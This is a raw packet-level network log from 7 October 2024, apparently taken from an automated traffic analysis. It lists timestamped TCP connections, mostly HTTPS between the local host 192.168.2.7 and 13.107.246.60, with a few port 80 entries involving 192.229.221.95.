Oct 7, 2024 06:44:51.360841990 CEST	443	49955	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.361428976 CEST	443	49958	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.361869097 CEST	49958	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.361891985 CEST	443	49958	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.362297058 CEST	49958	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.362308025 CEST	443	49958	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.363655090 CEST	49960	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.363701105 CEST	443	49960	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.363775015 CEST	49960	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.363917112 CEST	49960	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.363923073 CEST	443	49960	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.407331944 CEST	443	49956	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.407651901 CEST	443	49956	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.407814026 CEST	49956	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.407814026 CEST	49956	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.407814026 CEST	49956	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.410195112 CEST	49961	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.410228014 CEST	443	49961	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.410300970 CEST	49961	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.410425901 CEST	49961	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.410439968 CEST	443	49961	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.414787054 CEST	443	49957	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.414830923 CEST	443	49957	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.414864063 CEST	443	49957	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.414901972 CEST	49957	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.414927959 CEST	49957	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.415056944 CEST	49957	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.415081024 CEST	443	49957	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.415091991 CEST	49957	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.415098906 CEST	443	49957	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.417224884 CEST	49962	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.417234898 CEST	443	49962	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.417308092 CEST	49962	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.417450905 CEST	49962	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.417464018 CEST	443	49962	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.460223913 CEST	443	49958	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.460375071 CEST	443	49958	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.460434914 CEST	49958	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.460473061 CEST	49958	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.460473061 CEST	49958	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.460494995 CEST	443	49958	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.460515976 CEST	443	49958	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.462276936 CEST	49963	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.462315083 CEST	443	49963	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.462377071 CEST	49963	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.462496996 CEST	49963	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.462511063 CEST	443	49963	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.510333061 CEST	443	49959	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.510787964 CEST	49959	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.510814905 CEST	443	49959	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.511236906 CEST	49959	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.511245012 CEST	443	49959	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.615458965 CEST	443	49959	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.615557909 CEST	443	49959	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.615624905 CEST	49959	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.615642071 CEST	443	49959	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.615669012 CEST	443	49959	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.615710974 CEST	49959	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.617114067 CEST	49959	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.617136002 CEST	443	49959	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.617151022 CEST	49959	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.617160082 CEST	443	49959	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.620179892 CEST	49964	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.620219946 CEST	443	49964	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.620275974 CEST	49964	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.620429039 CEST	49964	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.620435953 CEST	443	49964	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.709470987 CEST	49956	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.709495068 CEST	443	49956	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.031296968 CEST	443	49960	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.031913042 CEST	49960	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.031945944 CEST	443	49960	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.032382965 CEST	49960	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.032393932 CEST	443	49960	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.052597046 CEST	443	49962	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.053028107 CEST	49962	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.053050995 CEST	443	49962	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.053410053 CEST	49962	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.053416967 CEST	443	49962	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.089286089 CEST	443	49961	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.089746952 CEST	49961	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.089756012 CEST	443	49961	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.090168953 CEST	49961	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.090174913 CEST	443	49961	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.104767084 CEST	443	49963	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.105041027 CEST	49963	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.105067015 CEST	443	49963	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.105380058 CEST	49963	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.105386019 CEST	443	49963	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.133987904 CEST	443	49960	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.134218931 CEST	443	49960	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.134284019 CEST	49960	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.134335995 CEST	49960	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.134356976 CEST	443	49960	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.134366989 CEST	49960	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.134371996 CEST	443	49960	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.137223005 CEST	49965	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.137281895 CEST	443	49965	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.137368917 CEST	49965	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.137527943 CEST	49965	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.137547016 CEST	443	49965	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.153055906 CEST	443	49962	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.153235912 CEST	443	49962	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.153304100 CEST	49962	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.153477907 CEST	49962	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.153477907 CEST	49962	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.153496027 CEST	443	49962	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.153507948 CEST	443	49962	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.156081915 CEST	49966	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.156097889 CEST	443	49966	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.156176090 CEST	49966	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.156287909 CEST	49966	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.156305075 CEST	443	49966	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.195724010 CEST	443	49961	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.195795059 CEST	443	49961	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.195852041 CEST	49961	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.195868015 CEST	443	49961	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.195908070 CEST	443	49961	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.195971012 CEST	49961	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.195991993 CEST	49961	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.195991993 CEST	49961	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.196002960 CEST	443	49961	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.196012974 CEST	443	49961	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.199230909 CEST	49967	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.199270964 CEST	443	49967	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.199337006 CEST	49967	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.199580908 CEST	49967	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.199593067 CEST	443	49967	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.203290939 CEST	443	49963	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.203566074 CEST	443	49963	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.203685045 CEST	49963	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.203756094 CEST	49963	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.203773975 CEST	443	49963	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.203783989 CEST	49963	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.203789949 CEST	443	49963	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.205590963 CEST	49968	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.205620050 CEST	443	49968	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.205684900 CEST	49968	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.205786943 CEST	49968	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.205806017 CEST	443	49968	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.284463882 CEST	443	49964	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.285135031 CEST	49964	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.285149097 CEST	443	49964	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.285595894 CEST	49964	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.285599947 CEST	443	49964	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.388926983 CEST	443	49964	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.389077902 CEST	443	49964	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.389245987 CEST	49964	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.389276981 CEST	49964	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.389302969 CEST	443	49964	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.389313936 CEST	49964	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.389321089 CEST	443	49964	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.391942978 CEST	49969	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.391980886 CEST	443	49969	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.392046928 CEST	49969	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.392225027 CEST	49969	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.392241001 CEST	443	49969	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.678335905 CEST	49702	80	192.168.2.7	192.229.221.95
Oct 7, 2024 06:44:52.683526039 CEST	80	49702	192.229.221.95	192.168.2.7
Oct 7, 2024 06:44:52.687191963 CEST	49702	80	192.168.2.7	192.229.221.95
Oct 7, 2024 06:44:52.800641060 CEST	443	49965	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.800839901 CEST	443	49966	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.801306963 CEST	49965	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.801331997 CEST	443	49965	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.801403999 CEST	49966	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.801414967 CEST	443	49966	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.801924944 CEST	49966	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.801937103 CEST	443	49966	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.802061081 CEST	49965	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.802067041 CEST	443	49965	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.846072912 CEST	443	49968	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.846457005 CEST	49968	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.846477985 CEST	443	49968	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.846924067 CEST	49968	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.846929073 CEST	443	49968	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.878551006 CEST	443	49967	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.878895998 CEST	49967	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.878920078 CEST	443	49967	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.879354954 CEST	49967	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.879362106 CEST	443	49967	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.901334047 CEST	443	49966	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.901758909 CEST	443	49966	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.901880980 CEST	49966	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.904227018 CEST	443	49965	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.904438972 CEST	443	49965	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.904512882 CEST	443	49965	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.904516935 CEST	49965	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.904578924 CEST	49965	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.906371117 CEST	49966	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.906388998 CEST	443	49966	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.906399965 CEST	49966	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.906404972 CEST	443	49966	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.907486916 CEST	49965	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.907490969 CEST	443	49965	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.909476042 CEST	49970	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.909517050 CEST	443	49970	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.909584999 CEST	49970	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.909682035 CEST	49971	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.909714937 CEST	49970	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.909723043 CEST	443	49970	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.909758091 CEST	443	49971	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.911169052 CEST	49971	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.911247969 CEST	49971	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.911268950 CEST	443	49971	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.947276115 CEST	443	49968	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.947329044 CEST	443	49968	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.947474957 CEST	443	49968	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.947510958 CEST	49968	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.947556019 CEST	49968	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.947614908 CEST	49968	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.947614908 CEST	49968	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.947648048 CEST	443	49968	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.947673082 CEST	443	49968	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.949582100 CEST	49972	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.949605942 CEST	443	49972	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.949681044 CEST	49972	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.949809074 CEST	49972	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.949820995 CEST	443	49972	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.982542038 CEST	443	49967	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.982688904 CEST	443	49967	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.982753038 CEST	49967	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.982781887 CEST	49967	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.982796907 CEST	443	49967	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.982805967 CEST	49967	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.982811928 CEST	443	49967	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.984803915 CEST	49973	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.984878063 CEST	443	49973	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:52.985044003 CEST	49973	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.985187054 CEST	49973	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:52.985223055 CEST	443	49973	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.060503960 CEST	443	49969	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.061132908 CEST	49969	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.061156988 CEST	443	49969	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.061566114 CEST	49969	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.061572075 CEST	443	49969	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.162420988 CEST	443	49969	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.162535906 CEST	443	49969	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.162739992 CEST	49969	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.162954092 CEST	49969	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.162972927 CEST	443	49969	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.163003922 CEST	49969	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.163012981 CEST	443	49969	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.165560961 CEST	49974	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.165601015 CEST	443	49974	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.165764093 CEST	49974	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.166028976 CEST	49974	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.166043043 CEST	443	49974	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.558043957 CEST	443	49971	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.571722984 CEST	443	49970	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.597184896 CEST	49971	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.597243071 CEST	443	49971	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.597635031 CEST	49971	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.597654104 CEST	443	49971	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.615696907 CEST	49970	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.617232084 CEST	49970	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.617239952 CEST	443	49970	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.621041059 CEST	49970	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.621045113 CEST	443	49970	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.644171953 CEST	443	49972	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.651319981 CEST	443	49973	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.685009003 CEST	49972	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.685053110 CEST	443	49972	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.685451984 CEST	49972	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.685472965 CEST	443	49972	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.685859919 CEST	49973	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.685874939 CEST	443	49973	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.686266899 CEST	49973	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.686271906 CEST	443	49973	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.693592072 CEST	443	49971	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.693635941 CEST	443	49971	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.693706036 CEST	49971	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.693753004 CEST	443	49971	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.693783045 CEST	443	49971	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.693841934 CEST	49971	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.694839001 CEST	49971	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.694880009 CEST	443	49971	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.694906950 CEST	49971	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.694921970 CEST	443	49971	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.719844103 CEST	443	49970	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.719863892 CEST	443	49970	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.719912052 CEST	443	49970	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.719944000 CEST	49970	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.720007896 CEST	49970	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.724092007 CEST	49975	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.724139929 CEST	443	49975	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.724200010 CEST	49970	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.724215031 CEST	443	49970	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.724235058 CEST	49975	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.724256992 CEST	49970	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.724262953 CEST	443	49970	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.724526882 CEST	49975	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.724543095 CEST	443	49975	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.777467966 CEST	49976	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.777498007 CEST	443	49976	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.777560949 CEST	49976	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.777735949 CEST	49976	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.777751923 CEST	443	49976	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.784781933 CEST	443	49973	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.784848928 CEST	443	49973	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.784904003 CEST	49973	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.784919977 CEST	443	49973	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.784992933 CEST	49973	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.785001040 CEST	443	49973	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.785018921 CEST	443	49973	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.785028934 CEST	49973	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.785041094 CEST	443	49973	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.787230968 CEST	49977	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.787260056 CEST	443	49977	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.787329912 CEST	49977	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.787452936 CEST	49977	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.787460089 CEST	443	49977	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.788786888 CEST	443	49972	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.788841963 CEST	443	49972	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.788887978 CEST	49972	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.788913012 CEST	443	49972	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.789203882 CEST	443	49972	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.789251089 CEST	49972	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.789922953 CEST	49972	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.789937019 CEST	443	49972	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.789949894 CEST	49972	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.789953947 CEST	443	49972	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.793260098 CEST	49978	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.793268919 CEST	443	49978	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.793350935 CEST	49978	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.793476105 CEST	49978	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.793486118 CEST	443	49978	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.806484938 CEST	443	49974	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.812599897 CEST	49974	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.812612057 CEST	443	49974	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.815315008 CEST	49974	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.815319061 CEST	443	49974	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.910718918 CEST	443	49974	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.910784960 CEST	443	49974	13.107.246.60	192.168.2.7
